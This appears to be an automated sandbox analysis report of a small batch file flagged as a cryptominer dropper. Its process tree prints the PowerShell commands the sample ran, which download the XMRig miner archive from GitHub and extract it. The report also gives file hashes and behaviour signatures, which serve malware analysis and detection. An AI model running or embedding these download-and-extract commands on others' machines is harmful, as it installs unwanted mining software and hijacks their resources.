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Analysis

  • max time kernel
    1558s
  • max time network
    1559s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    20/05/2024, 18:07

General

  • Target

    1.bat

  • Size

    599B

  • MD5

    798b979417aa88e5323ead9be2d8425c

  • SHA1

    a54c5133c71afddf697f302b36bdb930c72852ce

  • SHA256

    f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07

  • SHA512

    a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2160
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2720

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    91be48a0bcd22741f50f9ce02bd5e947

    SHA1

    9a54e0b3a0b2bee370a11bfba7d6c637d3bb8ea2

    SHA256

    312ddc8ccdb06ec56bfd377e0f1cb719765dadad6b38f0224f350ee8c269eb81

    SHA512

    bf943ddd4550d21fe5360451609c7efd01600a9fb5d6e1ccf25e548821878002701a1bb3af14f14110715ed5b158331b9f50fcdaf6b3e9636495b7b8bd36ef74

  • memory/2160-4-0x000007FEF59BE000-0x000007FEF59BF000-memory.dmp

    Filesize

    4KB

  • memory/2160-5-0x000000001B620000-0x000000001B902000-memory.dmp

    Filesize

    2.9MB

  • memory/2160-7-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2160-9-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2160-8-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2160-6-0x0000000001E20000-0x0000000001E28000-memory.dmp

    Filesize

    32KB

  • memory/2160-10-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2160-11-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2160-12-0x000007FEF5700000-0x000007FEF609D000-memory.dmp

    Filesize

    9.6MB

  • memory/2720-18-0x000000001B790000-0x000000001BA72000-memory.dmp

    Filesize

    2.9MB

  • memory/2720-19-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB